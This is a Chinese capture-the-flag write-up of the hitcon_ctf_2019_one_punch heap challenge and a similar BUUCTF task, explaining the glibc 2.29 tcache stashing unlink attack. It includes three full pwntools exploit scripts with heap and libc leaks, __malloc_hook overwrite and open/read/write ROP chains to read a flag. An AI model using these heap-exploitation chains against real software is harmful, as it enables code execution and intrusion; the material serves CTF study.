[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack

tcache attack

学习glibc2.29后替代 unsortedbin attack 的方法,还有堆上orw的方法

题目地址:BUUCTF(hitcon_ctf_2019_one_punch)

相似题目:BUUCTF([2020 新春红包题]3)

参考链接:

https://ruan777.github.io/2020/02/04/HITCON2019-Quals-One-punch-Man/
https://www.cnblogs.com/trunk/p/17227340.html
https://xz.aliyun.com/t/7192

IDA分析

主要函数:具有malloc、free、edit、show、magic函数

malloc函数:先将字符串hero name读取到栈上的char 数组,再判断长度合法(0x80~0x400)后calloc一个堆块存放,读取索引index决定堆块地址放在什么位置
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第1张图片
free函数:free后未清空堆块,存在uaf和double free漏洞
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第2张图片
edit函数:可修改hero name即堆块的内容 ,结合free函数利用
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第3张图片
show函数:可以打印堆块内容
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第4张图片
magic函数:后门函数,在判断heap_base+0x30的值大于6后可使用malloc进行堆块分配

malloc和calloc的区别在于:calloc不会从tcache中取出堆块

[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第5张图片
qword_4030是 堆地址 + 0x10
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第6张图片

利用思路:

题目环境位于Ubuntu19,glibc版本为2.29,patchelf切换libc后进行本地分析
2.29后的版本我们首先想到的应该是 tcache attack,题目存在UAF,可以修改tcache 堆块的next指针,将堆块分配到malloc_hook上,修改malloc_hook的内容。
但是本题只有magic函数才使用malloc函数分配,正常的添加堆块使用的是calloc函数,无法分配tcache的堆块。
所以想到满足magic函数的判断要求,修改heap_base+0x30处的值大于6,然后调用magic函数进行malloc分配。
该方法即修改任意地址为大值,首先想到 unsortedbin attack,但是由于 glibc 2.29 中新增了对于 unsorted bin 链表完整性检查,这使得 unsorted bin attack 完全失效。这种情况下就可以选择 tcache stashing unlink attack
满足条件后,利用magic函数分配我们伪造后的 tcahce,第二次即可分配到 fake chunk 即malloc_hook,并修改其内容。
由于题目使用 seccomp 开启了沙箱保护,只要白名单上的系统调用可以使用,因此只能采用ORW(open、read、write)构造ROP链读取flag。分配堆块时会先将字符串的内容读取到上,可以利用ROP链。先将malloc_hook劫持为add rsp xxx,ret,将控制流返回到构造好的ROP链上,然后执行ORW获取flag。

unsorted bin attack

glibc2.23中,malloc.c

for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);

只判断了size是否合法,一般情况下都会合法,形同虚设。之后unsortedbin 解链操作:

/* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

victim :unsorted bin中最后一个堆块
bck :unsorted bin中倒数第二个堆块
当malloc分配堆块取出unsorted bin时,会在bck->fd处写入unsorted_chunks (av)即一个大值.只要控制victim堆块的内容,修改victim->bk为target_addr,即可在malloc后将bck->fd ==> target_addr+0x10的值修改为大值,达到修改任意地址为大值的目的,可以用来攻击 global_max_fast ,使得更大size的chunk也被视为fastbin,从而进行fastbin attack;还有一个非常经典的利用就是house of orange。

glibc2.29中,malloc.c

for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          size = chunksize (victim);
          mchunkptr next = chunk_at_offset (victim, size);

          if (__glibc_unlikely (size <= 2 * SIZE_SZ)
              || __glibc_unlikely (size > av->system_mem))
            malloc_printerr ("malloc(): invalid size (unsorted)");
          if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
              || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
            malloc_printerr ("malloc(): invalid next size (unsorted)");
          if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
            malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
          if (__glibc_unlikely (bck->fd != victim)
              || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
            malloc_printerr ("malloc(): unsorted double linked list corrupted");
          if (__glibc_unlikely (prev_inuse (next)))
            malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

glibc2.29中加入了对 unsortedbin 双向链表完整性的检查,使得 unsorted bin attack 完全失效

tcache stashing unlink attack

漏洞点: 从smallbin中取出chunk时会检查如果当前smallbin中还有chunk并且tcache bin中还有空余的位置就会把剩余chunk链入到tcache bin中,在链入的过程并没有进行双向链表检查(类似于unsortedbin attack)

if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
      //victim就是要脱链的堆块,也就是small bin里的最后一个
      //这个if在判断我们所需要的size的那条small bin链上是否存在堆块,存在的话就把victim给脱链
        {
          bck = victim->bk;
	  if (__glibc_unlikely (bck->fd != victim))//对small bin最后一个堆块即victim的双向链表的完整性做了检查,确保victim->bk->fd指向的还是victim
    //如果我们在这里劫持了victim的bk指针,就会导致bck的fd指向的并不是victim,从而触发异常
	    malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);//设置下一个(高地址)chunk的prev_inuse位
          bin->bk = bck;//将victim脱链
          bck->fd = bin;
          if (av != &main_arena)
	    set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	  size_t tc_idx = csize2tidx (nb);//获取size对应的tcache索引
	  if (tcache && tc_idx < mp_.tcache_bins)//如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围
	    {
	      mchunkptr tc_victim;
	      while (tcache->counts[tc_idx] < mp_.tcache_count//如果tcache bin没有满
		     && (tc_victim = last (bin)) != bin)//如果small bin不为空,tc_victim为small bin中的最后一个堆块
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;//在这里控制bk的值
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;//将tc_victim从small bin中脱链
		      bck->fd = bin;//如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96)
		      tcache_put (tc_victim, tc_idx);
	            }
		}
	    }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

攻击的场景是我们请求申请一个大小为size的chunk,此时堆中有空闲的small bin(两个),根据small bin的FIFO,会对最早释放的small bin进行unlink操作,在unlink之前会有链表的完整性检查__glibc_unlikely (bck->fd != victim),在将这个堆块给用户之后,如果对应的tcache bins的数量小于最大数量,则剩余的small bin将会被放入tcache,这时候放入的话没有完整性检查,即不会检查这些small bin的fd和bk。在放入之前会有另一次unlink,这里的bck->fd = bin;产生的结果是将bin的值写到了*(bck+0x10),我们可以将bck伪造为target_addr-0x10,bin为libc相关地址,则可以向target_addr写入bin,攻击结果和unsored bin attack的结果类似

利用过程

首先需要泄露堆地址和libc地址:
堆地址:计算需要修改为大值的地址
libc地址:计算 __malloc_hook 地址,后续一系列ROP链的gadget的地址

leak heap

具体方式是分配并释放多个 chunk 使其进入 tcache ,通过 show 函数可以输出 tcache bin 的 fd 值来泄露堆地址

#leak heap
for i in range(7):
    malloc(0,b'a'*0x120)
    free(0)
show(0)
# db()
rcu("hero name: ")
heap = u64(rcu(b"\x0a")[-7:-1].ljust(8,b"\x00"))
# lg("heap",heap)
heap_base = heap & 0xFFFFFFFFFFFFF000
lg("heap_base",heap_base)
# db()

leak libc

释放某个 small bin size 范围内的 chunk 七个,在第八次释放时会先把释放的堆块放入 unsorted bin 。通过 show 函数可以泄露出 libc 地址。

# leak libc
malloc(0,b'a'*0x120)
malloc(1,b'a'*0x400) # top
free(0)
# db()
show(0)
rcu("hero name: ")
unsortedbin_addr = get_addr_64()
main_arena_addr = unsortedbin_addr - 96
libc_base = main_arena_addr - 0x1e4c40
# lg("unsortedbin_addr",unsortedbin_addr)
# lg("main_arena_addr",main_arena_addr)
lg("libc_base",libc_base)

修改 heap_base+0x30 为 large value

满足相应size的 tcache bin有6个,small bin 有2个时,再次申请该size大小的chunk,会解链一个chunk1,并将剩下的一个chunk2放入tcache bin中,该过程可以伪造chunk2的bk=target_addr - 0x10,unlink时即可修改target_addr 为large value。

如何满足相应size的 tcache bin有6个,small bin 有2个

这里有个大问题,就是程序申请的堆块大小范围在0x7f~0x400之间,所以在tcache没满的情况下,free后都会进入tcache,那要怎么让一个大小的堆块,比如0x100大小的堆块,相对应的tcache bin有6块,smallbin有两块,
需要用到 last_remainder

if (in_smallbin_range (nb) &&
             bck == unsorted_chunks (av) &&
             victim == av->last_remainder &&
             (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
           {
             /* split and reattach remainder */
             remainder_size = size - nb;
             remainder = chunk_at_offset (victim, nb);
             unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
             av->last_remainder = remainder;
             remainder->bk = remainder->fd = unsorted_chunks (av);
             if (!in_smallbin_range (remainder_size))
               {
                 remainder->fd_nextsize = NULL;
                 remainder->bk_nextsize = NULL;
               }

             set_head (victim, nb | PREV_INUSE |
                       (av != &main_arena ? NON_MAIN_ARENA : 0));
             set_head (remainder, remainder_size | PREV_INUSE);
             set_foot (remainder, remainder_size);

             check_malloced_chunk (av, victim, nb);
             void *p = chunk2mem (victim);
             alloc_perturb (p, bytes);
             return p;
           }

比如我们把unsortedbin切成了0x100的大小,如果在calloc一个比这个大的chunk,那这个unsortedbin就会被放到smallbin,相对应的源码为:

/* place chunk in bin */
         if (in_smallbin_range (size))
           {
             victim_index = smallbin_index (size);
             bck = bin_at (av, victim_index);
             fwd = bck->fd;
           }
         else
           {
             victim_index = largebin_index (size);
             bck = bin_at (av, victim_index);
             fwd = bck->fd;

重复两次上述切割last_remainder然后malloc的操作,即可得到small bin有两个chunk
利用代码如下:

for i in range(6):
    malloc(0,b"a"*0xf0)
    free(0)
for i in range(7):
    malloc(0,b"a"*0x400)
    free(0)

# tcache stashing unlink attack
# tcache 0x100:6 smallbin 0x100:2
malloc(0,b"a"*0x400)
malloc(1,b"a"*0x400)# 防止相邻的两个chunk合并
malloc(1,b"a"*0x400)
malloc(2,b"a"*0x400)# top
free(0)
malloc(2,b"a"*0x300)
malloc(2,b"a"*0x300) # smallbin 0x100
# db()
# again
free(1)
malloc(2,b"a"*0x300)
malloc(2,b"a"*0x300) # smallbin 0x100 -> 0x100
# db()

第一次得到smallbin
在这里插入图片描述
第二次:
在这里插入图片描述

malloc(1,b"a"*0x400)# 防止相邻的两个chunk合并,这行代码的作用是将第一个0x410
chunk切割后的0x100 chunk和即将free的 0x410 chunk分隔开来,防止合并为0x510的chunk。

修改chunk2的bk,触发tcache stashing unlink attack

利用UAF漏洞和堆溢出,可以通过修改chunk2(0x100)分割之前的前一部分chunk(0x310)的内容,溢出修改chunk2的fd和bk。
由于__glibc_unlikely (bck->fd != victim)这个完整性检查,chunk2的fd必须指向chunk1,fd的值可以通过chunk2的固定偏移 + heap_base 得到。

edit(1,b'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x561377cbb460-0x561377cb8000))+p64(heap_base+0x30-0x10-5))

在这里插入图片描述
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第7张图片
写入的值main_arena的值要偏移一下,只剩0x7f>6,target_addr = heap_base+0x30-0x10-5[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第8张图片
至此,成功满足magic函数的条件,可以调用magic函数进行malloc分配tcache的chunk
由于heap_base+0x30的值是tcahce bin中 0x220大小的chunk的数量,修改为0x7f后再次利用tcache会 corrupt 掉,所以需要先calloc一个0x220大小的chunk并free掉,将其fd修改为__malloc_hook,第二次分配即可获得__malloc_hook的堆块
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第9张图片
利用代码:

# db()
edit(2,b'./flag'.ljust(8,b'\x00')) # rop_heap
edit(1,b'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x561377cbb460-0x561377cb8000))+p64(heap_base+0x30-0x10-5))
# db()
malloc(0,b"a"*0x217)
free(0)
# db()
edit(0,p64(libc_base+libc.symbols["__malloc_hook"]))
# db()
malloc(0,b"a"*0xf0) # heap+0x30 = 0x7f
# db()

寻找对应的gadget,构造ROP链

在程序创建堆块时,会先把字符串的放在栈上,因此可以在栈上构造ROP链进行攻击。
由于程序是堆的题目,我们首先需要把控制流劫持到栈上,可以通过修改__malloc_hookadd rsp, XXX;ret的gadget,这样在调用malloc或者calloc时,会执行__malloc_hook的内容,ret将控制流返回到rsp指向的地址,该地址应该为我们布置好的ROP链

如何判断add rsp XXX,ret具体应该是多少呢?

将断点下在b *__malloc_hook,观察执行__malloc_hook时,布置好的rop链到rsp的距离,
距离为0x48,所以我们需要add rsp, 0x48 ; ret的gadget
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第10张图片
ROPgadget在libc.so中查找 --only "add|ret" | grep rsp | grep 0x48
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第11张图片

构造ROP链

需要满足ORW
首先需要先将open的参数"./flag"写入一个可读的区域,这里选择任意一个堆块,利用基址+固定偏移获取"./flag"的地址
同时read,write函数需要一个缓冲区,这里选择heap_base+0x260,是之前分配的一个堆块
再次利用ROPgadget获取pop xxx;ret,用以构造rop
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第12张图片
再找到"syscall;ret"执行系统调用(ROPgadget没找到)
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第13张图片
构造ROP链后,再次malloc即可触发获取flag
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第14张图片

EXP:

from pwn import *
from LibcSearcher import *
from time import *
# context.log_level = 'debug'
file_path = "./hitcon_ctf_2019_one_punch"
local = 1
remote_path = "node4.buuoj.cn:27586"
elf = ELF("./hitcon_ctf_2019_one_punch")
libc = ELF("/home/star/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
if local != 1:
    p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
else:
    p = process(file_path)

sd      = lambda payload        : p.send(payload)
sdl     = lambda payload        : p.sendline(payload)
sda     = lambda data,payload   : p.sendafter(data,payload)
sdla    = lambda data,payload   : p.sendlineafter(data,payload)
it      = lambda                : p.interactive()
rc      = lambda num            : p.recv(num)
rc_all  = lambda                : p.recv()
rcu     = lambda data           : p.recvuntil(data)
lbc     = lambda str1,str2      : LibcSearcher(str1,str2)
lg      = lambda name,data      : p.success("\033[1;31m%s\033[0m --> 0x%x" % (name,data))
get_addr_64 = lambda: u64(rcu(b"\x7f")[-6:].ljust(8,b"\x00"))

def db():
    gdb.attach(p)
    pause()
def dbs(src):
    gdb.attach(p, src)

def tb(x): #将输入内容转换为python3的比特流格式
    return(bytes(str(x),encoding='utf8'))

def malloc(index,hero_name):
    rcu("> ")
    sdl(b"1")
    rcu("idx: ")
    sdl(tb(index))
    rcu("hero name: ")
    sdl(hero_name)
def edit(index,hero_name):
    rcu("> ")
    sdl(b"2")
    rcu("idx: ")
    sdl(tb(index))
    rcu("hero name: ")
    sdl(hero_name)
def free(index):
    rcu("> ")
    sdl(b"4")
    rcu("idx: ")
    sdl(tb(index))
def show(index):
    rcu("> ")
    sdl(b"3")
    rcu("idx: ")
    sdl(tb(index))
def magic(payload):
    rcu("> ")
    sdl(b"50056")
    sleep(0.1)
    sdl(payload)

#leak heap
for i in range(7):
    malloc(0,b'a'*0x120)
    free(0)
show(0)
# db()
rcu("hero name: ")
heap = u64(rcu(b"\x0a")[-7:-1].ljust(8,b"\x00"))
# lg("heap",heap)
heap_base = heap & 0xFFFFFFFFFFFFF000
lg("heap_base",heap_base)
# db()
# leak libc
malloc(0,b'a'*0x120)
malloc(1,b'a'*0x400) # top
free(0)
# db()
show(0)
rcu("hero name: ")
unsortedbin_addr = get_addr_64()
main_arena_addr = unsortedbin_addr - 96
libc_base = main_arena_addr - 0x1e4c40
# lg("unsortedbin_addr",unsortedbin_addr)
# lg("main_arena_addr",main_arena_addr)
lg("libc_base",libc_base)
#-------------------------------
for i in range(6):
    malloc(0,b"a"*0xf0)
    free(0)
for i in range(7):
    malloc(0,b"a"*0x400)
    free(0)

# tcache stashing unlink attack
# tcache 0x100:6 smallbin 0x100:2
malloc(0,b"a"*0x400)
malloc(1,b"a"*0x400)# 防止相邻的两个chunk合并
malloc(1,b"a"*0x400)
malloc(2,b"a"*0x400)# top
free(0)
malloc(2,b"a"*0x300)
malloc(2,b"a"*0x300) # smallbin 0x100
# db()
# again
free(1)
malloc(2,b"a"*0x300)
malloc(2,b"a"*0x300) # smallbin 0x100 -> 0x100
# db()

#-------------------------------
lg("fd",heap_base+(0x561377cbb460-0x561377cb8000))
# db()
edit(2,b'./flag'.ljust(8,b'\x00')) # rop_heap
edit(1,b'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x561377cbb460-0x561377cb8000))+p64(heap_base+0x30-0x10-5))
# db()
malloc(0,b"a"*0x217)
free(0)
# db()
edit(0,p64(libc_base+libc.symbols["__malloc_hook"]))
# db()
malloc(0,b"a"*0xf0) # heap+0x30 = 0x7f
# db()

magic(b"a")
#mov eax, esi ; add rsp, 0x48 ; ret
#magic_gadget = libc_base + libc.sym['setcontext']+53
# add rsp, 0x48 ; ret
magic_gadget = libc_base+0x000000000008cfd6
payload = p64(magic_gadget)
magic(payload) # __malloc_hook --> gadget(add rsp,0x48)

p_rdi = libc_base + 0x0000000000026542
p_rsi = libc_base + 0x0000000000026f9e
p_rdx = libc_base + 0x000000000012bda6
p_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
rop_heap = heap_base + 0x44b0 # './flag' 

# bad syscall
# rops = p64(p_rdi)+p64(rop_heap) + p64(p_rsi)+p64(0)
# rops += p64(libc.sym['open']+libc_base)
# rops += p64(p_rdi)+p64(3)+p64(p_rsi)+p64(heap_base+0x260)+p64(p_rdx)+p64(0x70)
# rops += p64(libc.sym['read']+libc_base)
# rops += p64(p_rdi)+p64(1)+p64(p_rsi)+p64(heap_base+0x260)+p64(p_rdx)+p64(0x70)
# rops += p64(libc.sym['write']+libc_base)

rops = p64(p_rdi)+p64(rop_heap)
rops += p64(p_rsi)+p64(0)
rops += p64(p_rdx)+p64(0)
rops += p64(p_rax)+p64(2)
rops += p64(syscall)
#rops += p64(libc.sym['open'])
#read
rops += p64(p_rdi)+p64(3)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(0)
rops += p64(syscall)
#rops += p64(libc.sym['read'])
#write
rops += p64(p_rdi)+p64(1)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(1)
rops += p64(syscall)

# dbs("b *__malloc_hook")
malloc(0,rops)
it()

另外一道相似的题目:

BUUCTF([[2020 新春红包题]3]

后门函数:
[PWN] hitcon_ctf_2019_one_punch Tcache stashing unlink attack_第15张图片
唯一的不同是本题需要通过栈迁移劫持控制流到一个堆块上(存放伪造的ROP链

需要注意堆地址heap_base到底是如何计算的不是简单的&,gdb调试通过parseheap查看第一个堆块的地址即为堆地址。

EXP:

from pwn import *
from LibcSearcher import *
from time import *
# context.log_level = 'debug'
file_path = "./RedPacket_SoEasyPwn1"
local = 0
remote_path = "node4.buuoj.cn:28633"
elf = ELF("./RedPacket_SoEasyPwn1")
libc = ELF("/home/star/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
if local != 1:
    p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
else:
    p = process(file_path)

sd      = lambda payload        : p.send(payload)
sdl     = lambda payload        : p.sendline(payload)
sda     = lambda data,payload   : p.sendafter(data,payload)
sdla    = lambda data,payload   : p.sendlineafter(data,payload)
it      = lambda                : p.interactive()
rc      = lambda num            : p.recv(num)
rc_all  = lambda                : p.recv()
rcu     = lambda data           : p.recvuntil(data)
lbc     = lambda str1,str2      : LibcSearcher(str1,str2)
lg      = lambda name,data      : p.success("\033[1;31m%s\033[0m --> 0x%x" % (name,data))
get_addr_64 = lambda: u64(rcu(b"\x7f")[-6:].ljust(8,b"\x00"))

def db():
    gdb.attach(p)
    pause()
def dbs(src):
    gdb.attach(p, src)

def tb(x): #将输入内容转换为python3的比特流格式
    return(bytes(str(x),encoding='utf8'))
###----------------------------------------###

def malloc(index,size,content):
    rcu(b"Your input: ")
    sdl(b"1")
    rcu(b"Please input the red packet idx: ")
    sdl(tb(index))
    rcu(b"How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ")
    sdl(tb(size))
    rcu(b"Please input content: ")
    sdl(content)
    rcu("Done!")
def free(index):
    rcu(b"Your input: ")
    sdl(b"2")
    rcu(b"Please input the red packet idx: ")
    sdl(tb(index))
    rcu("Done!")
def edit(index,content):
    rcu(b"Your input: ")
    sdl(b"3")
    rcu(b"Please input the red packet idx: ")
    sdl(tb(index))
    rcu(b"Please input content: ")
    sdl(content)
    rcu("Done!")
def show(index):
    rcu(b"Your input: ")
    sdl(b"4")
    rcu(b"Please input the red packet idx: ")
    sdl(tb(index))
    #rcu("Done!")
def magic(payload):
    rcu(b"Your input: ")
    sdl(b"666")
    rcu(b"What do you want to say?")
    sdl(payload)

# leak heap 
for i in range(7):
    malloc(0,4,b"a"*(0x400-1))
    free(0)
# db()
show(0)
heap = u64(rcu(b"\x0a")[-7:-1].ljust(8,b"\x00"))
heap_base = heap - 0x26c0
lg("heap",heap)
lg("heap_base",heap_base)
# db()
target = heap_base + 0x250 + 0x10
lg("target",target)
# leak libc
malloc(1,4,b"a"*(0x400-1))
malloc(2,4,b"a"*(0x400-1))# top
free(1)
show(1)
unsortedbin_addr = get_addr_64()
main_arena_addr = unsortedbin_addr - 96
libc_base = main_arena_addr - 0x1e4c40
# lg("unsortedbin_addr",unsortedbin_addr)
# lg("main_arena_addr",main_arena_addr)
lg("libc_base",libc_base)
malloc(2,4,b"a"*(0x400-1))
# db()
for i in range(6):
    malloc(i,2,b"a"*(0xf0-1))
    free(i)
# db()
malloc(9,4,b"b"*(0x400-1)) # chunk1
malloc(10,4,b"a"*(0x400-1)) # 分隔
# db()
malloc(11,4,b"b"*(0x400-1)) # chunk2
free(9)
# # db()
malloc(12,3,b"a"*(0x300-1))
malloc(13,3,b"a"*(0x300-1)) # smallbin: bin1 -> 0
# db()
free(11)
# db()
malloc(14,3,b"a"*(0x300-1))
malloc(15,3,b"a"*(0x300-1)) # smallbin: bin2 -> bin1 -> 0
# db()
fd = heap_base + (0x562191029000 - 0x562191025000)
lg("fd",fd)
edit(11,b"a"*0x300 + p64(0) + p64(101) + p64(fd) + p64(target+0x800 - 0x10 ))
# db()
malloc(0,2,b"a"*(0xf0-1))
# db()
p_rdi = libc_base + 0x0000000000026542
p_rsi = libc_base + 0x0000000000026f9e
p_rdx = libc_base + 0x000000000012bda6
p_rax = libc_base + 0x0000000000047cf8
leave_ret = libc_base + 0x0000000000058373
orw_heap= heap_base + 0x55740b77df40 - 0x55740b779000 + 0x10
lg("orw_heap",orw_heap)
orw = b'./flag'.ljust(8,b'\x00')
orw += (p64(p_rdi) + p64(orw_heap) + p64(p_rsi) + p64(0))
orw += p64(libc_base+libc.symbols["open"])
orw += (p64(p_rdi) + p64(3) + p64(p_rsi) + p64(heap_base+0x260) + p64(p_rdx) + p64(0x50))
orw += p64(libc_base+libc.symbols["read"])
orw += (p64(p_rdi) + p64(1) + p64(p_rsi) + p64(heap_base+0x260) + p64(p_rdx) + p64(0x50))
orw += p64(libc_base+libc.symbols["write"])
malloc(0,4,orw)
# db()
payload = b"a"*(0x80) +p64(orw_heap) + p64(leave_ret)
magic(payload)
it()

hitcon_ctf_2019_one_punch 可以通过large bin attack 来打 ,过程比较复杂

贴一下EXP:有空再写分析

from pwn import *
from LibcSearcher import *
from time import *
context.log_level = 'debug'
file_path = "./hitcon_ctf_2019_one_punch"
local = 1
remote_path = "node4.buuoj.cn:27586"
elf = ELF("./hitcon_ctf_2019_one_punch")
libc = ELF("/home/star/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
if local != 1:
    p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
else:
    p = process(file_path)

sd      = lambda payload        : p.send(payload)
sdl     = lambda payload        : p.sendline(payload)
sda     = lambda data,payload   : p.sendafter(data,payload)
sdla    = lambda data,payload   : p.sendlineafter(data,payload)
it      = lambda                : p.interactive()
rc      = lambda num            : p.recv(num)
rc_all  = lambda                : p.recv()
rcu     = lambda data           : p.recvuntil(data)
lbc     = lambda str1,str2      : LibcSearcher(str1,str2)
lg      = lambda name,data      : p.success("\033[1;31m%s\033[0m --> 0x%x" % (name,data))
get_addr_64 = lambda: u64(rcu(b"\x7f")[-6:].ljust(8,b"\x00"))

def db():
    gdb.attach(p)
    pause()
def dbs(src):
    gdb.attach(p, src)

def tb(x): #将输入内容转换为python3的比特流格式
    return(bytes(str(x),encoding='utf8'))

def malloc(index,hero_name):
    rcu("> ")
    sdl(b"1")
    rcu("idx: ")
    sdl(tb(index))
    rcu("hero name: ")
    sdl(hero_name)
def edit(index,hero_name):
    rcu("> ")
    sdl(b"2")
    rcu("idx: ")
    sdl(tb(index))
    rcu("hero name: ")
    sdl(hero_name)
def free(index):
    rcu("> ")
    sdl(b"4")
    rcu("idx: ")
    sdl(tb(index))
def show(index):
    rcu("> ")
    sdl(b"3")
    rcu("idx: ")
    sdl(tb(index))
def magic(payload):
    rcu("> ")
    sdl(b"50056")
    sleep(0.1)
    sdl(payload)


#----------------------largebin attack----------------------#

malloc(0,b"a"*0x210)
free(0)
malloc(1,b"a"*0x210)
free(1)
show(1)
heap = u64(rcu(b"\x0a")[-7:-1].ljust(8,b"\x00"))
lg("heap",heap)
heap_base = heap & 0xFFFFFFFFFFFFF000
lg("heap_base",heap_base)
# db()
for i in range(5):
    malloc(2,b'a'*0x210)
    free(2)
malloc(0,b"a"*0x210)
malloc(1,b"a"*0x210)
free(0)
show(0)
unsortedbin_addr = get_addr_64()
main_arena_addr = unsortedbin_addr - 96
libc_base = main_arena_addr - 0x1e4c40
# lg("unsortedbin_addr",unsortedbin_addr)
# lg("main_arena_addr",main_arena_addr)
lg("libc_base",libc_base)
# db()
free(1)
# db()
edit(2,p64(libc_base+libc.symbols["__malloc_hook"]))# 修改0x220的next为__malloc_hook
# db()
malloc(0,b"d"*0x90)
free(0)
for i in range(7):
    malloc(0,b'd'*0x80)
    free(0)
for i in range(7):
    malloc(0,b'd'*0x200)
    free(0)
# db()
malloc(0,b'd'*0x200)
malloc(1,b'a'*0x210)
#b'a'*0x90
malloc(2,p64(0x21)*(0x90//8))# 凑成 0x210-0x90+0x220+0xa0 = 0x440
db()
edit(2,p64(0x21)*(0x90//8))# 绕过?
# db()
free(2)
# db()
malloc(2,p64(0x21)*(0x90//8))# top 
edit(2,p64(0x21)*(0x90//8))
free(2)
# db()
free(0)
free(1)
# db()
malloc(0,b'a'*0x80)
malloc(1,b'a'*0x80)
# db()
free(0)
free(1)
# unsortedbin中 合并为0x430 size的chunk
# db()
malloc(0,b"a"*0x88 + p64(0x421) + b"d"*0x180)# size = 0x220
# db()
malloc(2,b"a"*0x200)# 0x210
# db()
free(1) # fake chunk 0x421 进入 unsortedbin
# db()
free(2) # chunk 0x210 进入 unsortedbin
# unsortedbin: 0x210 --> 0x421
# db()
malloc(2,b"a"*0x200) # fake chunk 0x421 进入 largebin
# db()
edit(0,b"a"*0x88 + p64(0x421) + p64(main_arena_addr+1104)*2 + p64(0) + p64(heap_base+0x10))
# db()
free(0)
# db()
free(2)# chunk 0,2 合并 = 0x431
# db()
malloc(0,b"./flag\x00\x00" + b"a"*0x1f8)# size=0x210,largebin attack 
# db()
magic(b"A")
# add rsp, 0x48 ; ret
magic_gadget = libc_base+0x000000000008cfd6
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
pop_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
magic(p64(magic_gadget))
malloc(0,p64(pop_rdi) + p64(heap_base + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) + 
      p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall) +
      p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
      )
it()

你可能感兴趣的:(PWN,技巧,堆,系统安全,linux,安全)